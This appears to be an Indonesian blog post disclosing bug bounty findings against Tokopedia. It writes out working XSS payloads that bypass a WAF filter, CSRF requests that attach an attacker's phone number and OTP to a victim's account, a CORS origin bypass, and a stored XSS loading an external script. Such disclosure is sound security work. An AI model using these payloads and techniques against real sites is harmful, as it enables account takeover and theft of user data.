Sebelum memulai penjelasan temuan-temuan ethic ninja terhadap tokopedia, akan kami jelaskan sedikit dahulu pengertian bug bounty program.
Apa itu bug bounty program?
Bug bounty program adalah suatu program pencarian bug / celah keamanan pada suatu website/aplikasi yang diselenggarakan oleh suatu perusahaan, dimana “hacker” yang berhasil menemukan dan melalui proses validasi akan diberikan sebuah reward baik berupa sertifikat, hall of fame, hingga berupa uang.
Apakah temuan boleh dipublikasikan?
Tergantung, ini tergantung kesepakatan pihak penyelenggara bug bounty program, dalam hal ini tokopedia memang memperbolehkan temuan bugnya dipublikasikan dengan syarat menunggu bug tersebut selesai ditangani dengan baik oleh tim security tokopedia. Info lebih lanjut https://github.com/tokopedia/Bug-Bounty
Daftar temuan vulnerability bug pada tokopedia
Berikut ini adalah daftar temuan-temuan vulnerability bug yang kami temukan terhadap website tokopedia:
1. Bypassing WAF rules – XSS (1)
2. Hijacking OTP & Phone Number other users – CSRF
3. Tabnabbing
4. Get sensitive data other users – CORS Misconfiguration
5. Bypassing WAF rules – XSS (2)
6. Bypassing Same Origin Policy
7. View Authenticated Admin Panel Tokopedia! – Stored XSS
Detail Temuan
[1] Bypassing WAF rules – XSS
Pada saat melakukan fuzzing, kami menemukan adanya reflected string di https://www.tokopedia.com/iklan ?source=footer
Contoh :
input: source=footer123 output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer123&medium=desktop">Tokopedia</a>
input: source=footer" hello=" output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" hello="&medium=desktop">Tokopedia</a>
Nice… quote tidak dilakukan escape, maka langkah selanjutnya kami coba menyisipkan event onmouseover pada DOM
input: source=footer" style="background:red" onmouseover="alert(document.domain)"><x=" output: <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" style=”background:red;" x ="&medium=desktop">Tokopedia</a>
Hei kemana perginya onmouseover?
Onmouseover terfilter oleh WAF?, kami melakukan riset lebih lanjut dan berkesimpulan bahwa urutan rule filternya seperti ini :
- Hapus semua event html (onmouseover, onkeyup, onerror) dll –> namun ternyata semua bentuk pattern dengan prefix on dihilangkan juga seperti ”oncom, onabcd, ondelondel”
- Karakter lebih besar (>) dan lebih kecil (<) diganti dengan spasi “ “
Sudah kuatkah filternya? sayangnya tidak, untuk rule terakhir justru menjadi celah karena rule tersebut “membantu” menghindari untuk rule pertama. Tentu saja tidak terlalu sulit untuk melakukan bypass rule dari WAF tersebut.
source=footer" style="background:red; "<onmouseover="alert(document.domain)"<x=" <a class="site-logo" href="https://www.tokopedia.com/iklan?source=footer" style="background:red; " onmouseover ="alert(document.domain)" x ="&medium=desktop">Tokopedia</a>
Dan hasilnya… XSS ter-trigger
Bahayanya apa?
XSS dapat mencuri token csrf untuk melakukan banyak hal seperti :
- Mendapatkan informasi user lain seperti (nama, email, no hp, no rekening, dll)
- Mematikan OTP user lain
- Memasukkan barang ke keranjang tanpa sepengetahuan user
- Melihat inbox user lain
- dll
[2] Hijacking Phone Number & OTP other users – CSRF
Kasus ini berlaku untuk user yang sebelumnya belum melakukan verifikasi nomor handphone dan user yang mengganti nomor handphone tetapi belum memverifikasi kembali. Payload dijalankan secara berurutan, payload pertama untuk meregistrasi sekaligus mengirimkan OTP ke nomor hp attacker, payload kedua untuk melakukan verifikasi dari OTP yang didapat.
Pertama kali terlihat bahwa proses verifikasi nomor handphone tidak diperlukan sebuah token csrf, maka seharusnya jika tidak ada hal yang membatasi seperti CSP maka exploit akan berfungsi. Mari kita coba :
Payload pertama adalah payload untuk memaksa victim user melakukan pengiriman kode OTP ke HP attacker yang berguna untuk mendaftarkan nomor HP attacker ke akun victim :
[GET] /ajax/msisdn.pl?action=event_sent_verification_code&phone=[attacker phone]&update_flag=&email_code=&v=[timestamp]
Kemudian payload kedua adalah memaksa victim user untuk memasukkan OTP yang sudah diperoleh sebelumnya dari payload pertama agar proses verifikasi nomor HP attacker valid :
[POST] /msisdn-verification.pl?action=verifikasi&type=home phone=[attacker phone]&code=[PIN OTP yang diperoleh]&submit=
Begini langkah eksploitasinya (No HP attacker : 087817000088 & No HP victim: 087771203366) :
- Victim melakukan pendaftaran seperti biasa.
- Victim mengunjungi situs yang telah dipasangi payload tersebut.
- Ketika victim mengunjungi situs tersebut maka payload langsung bekerja secara otomatis
- Ketika victim kembali ke akun tokopedia maka nomor hp victim akan terisi nomor hp attacker, pwned!
[3] Tabnabbing
Tabnabbing adalah salah satu kategori next level phishing, serangan ini bertujuan mengelabui user untuk mendapatkan sensitif data berupa username dan password, cara kerjanya sendiri adalah seperti berikut :
- Attacker membuat link di halaman tokopedia
- Victim klik link tersebut, sehingga akan membuka tab baru
- Ketika victim kembali ke tab sebelumnya maka tab sebelumnya telah berubah/berpindah
Agar lebih jelasnya silahkan melihat video berikut :
[fvplayer src=”https://www.ethic.ninja/wp-content/uploads/2017/11/tabnabbing-tokopedia.mp4″ width=”1920″ height=”1080″]Solusi dapat menggunakan banyak cara diantaranya :
1. Jika memungkinkan hindari penggunaan target=_blank
[4] Get sensitive data other users – CORS Misconfiguration
[5] Bypassing WAF rules – XSS (2)
url : https://m.tokopedia.com/catalog/50985/oppo-a39?page=4&tab=gallery parameter : page
Nilai dari parameter page ditulis ulang (reflective) dibeberapa tempat seperti :
- <meta name=”title” content=”Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4″ />
- <meta property=”og:title” content=”Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4″/>
- <title>Galeri Oppo A39 | Tokopedia, Halaman , Halaman 4</title>
Dari hasil riset tags yang tidak terkena escape quote adalah tag nomor 1 dan 2. Masih dengan kurang lebih teknik yang sama dengan report XSS yang sebelumnya, akhirnya didapat payload seperti berikut :
https://m.tokopedia.com/catalog/50985/oppo-a39?page=4"><a<img src="https://ethic.ninja" onerror>=prompt(document.domain)>&tab=gallery
[6] Bypassing Same Origin Policy
Pada saat melakukan testing graphql terlihat ada beberapa data sensitive yang dikeluarkan seperti, id, email, phone, saldo dll. Maka untuk “mencuri” data tersebut kami coba dengan eksploitasi CORS Misconfiguration, pada percobaan pertama dengan mengganti origin menjadi https://ethic.ninja namun seperti gambar di bawah hal ini sudah ditangani dengan baik.
Kemudian dicoba melakukan manipulasi origin menjadi http://tokopedia.com.ethic.ninja hasilnya server melakukan respon balik secara normal! Hal ini berlaku juga untuk :
Jadi kesimpulannya semua origin yang memiliki string tokopedia.com akan diterima.
PoC :
http://tokopedia.com.ethic.ninja/cors.html
[7] View Authenticated Admin Panel Tokopedia! – Stored XSS
<svg/onload=alert(1)>
Dan payload ini tertrigger di halaman buyer.
Dan kami menjelaskan bahwa hal itu memungkinkan dengan payload seperti :
<script src=//xyz.com> atau <script src=//xyz.com?
Dan ini balasannya :
Check this out! (browser sebelah kiri adalah attacker, victim sebelah kanan)
Tapi payload tidak bekerja sampai disitu saja, payload ini juga tembus sampe ke sistem panel admin tokopedia!